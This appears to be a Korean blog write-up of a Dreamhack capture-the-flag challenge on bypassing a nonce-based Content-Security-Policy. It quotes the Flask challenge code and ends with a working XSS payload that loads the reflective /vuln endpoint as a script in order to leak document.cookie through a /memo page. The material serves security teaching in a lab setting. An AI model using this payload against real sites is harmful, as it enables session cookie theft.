@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html", nonce=nonce)
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'
return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'
flag 페이지에서 param을 입력해서 check_xss 함수로 보내고 vuln 페이지로 이동하게 된다.
xss를 이용해야 하는건 동일하지만
@app.after_request
def add_header(response):
global nonce
response.headers[
"Content-Security-Policy"
] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'"
nonce = os.urandom(16).hex()
return response
이렇게 CSP 코드가 추가되어 있다.
flag 페이지에서도 script태그 안에 nonce 속성이 있다.
공격자는 nonce 값을 알 수가 없기 때문에 허용된 self를 사용하기 위해서 vuln 페이지를 이용해야 한다.
vuln 페이지에서 vuln페이지로 접속할 수 있어야 하기 때문에
flag 페이지에서 <script src="/vuln?param=document.location='/memo?memo='%2bdocument.cookie"></script>
이런 식으로 한번 더 vuln 페이지로 요청을 보낼 수 있게 공격 코드를 작성해야 한다.
'웹해킹' 카테고리의 다른 글
CSRF/CORS Bypass (0) | 2023.11.26 |
---|---|
드림핵 CSP Bypass Advanced 롸업 (0) | 2023.11.25 |
Content Security Policy & CSP Bypass (0) | 2023.11.24 |
드림핵 XSS Filtering Bypass Advanced 롸업 (0) | 2023.11.21 |
드림핵 XSS Filtering Bypass 롸업 (0) | 2023.11.21 |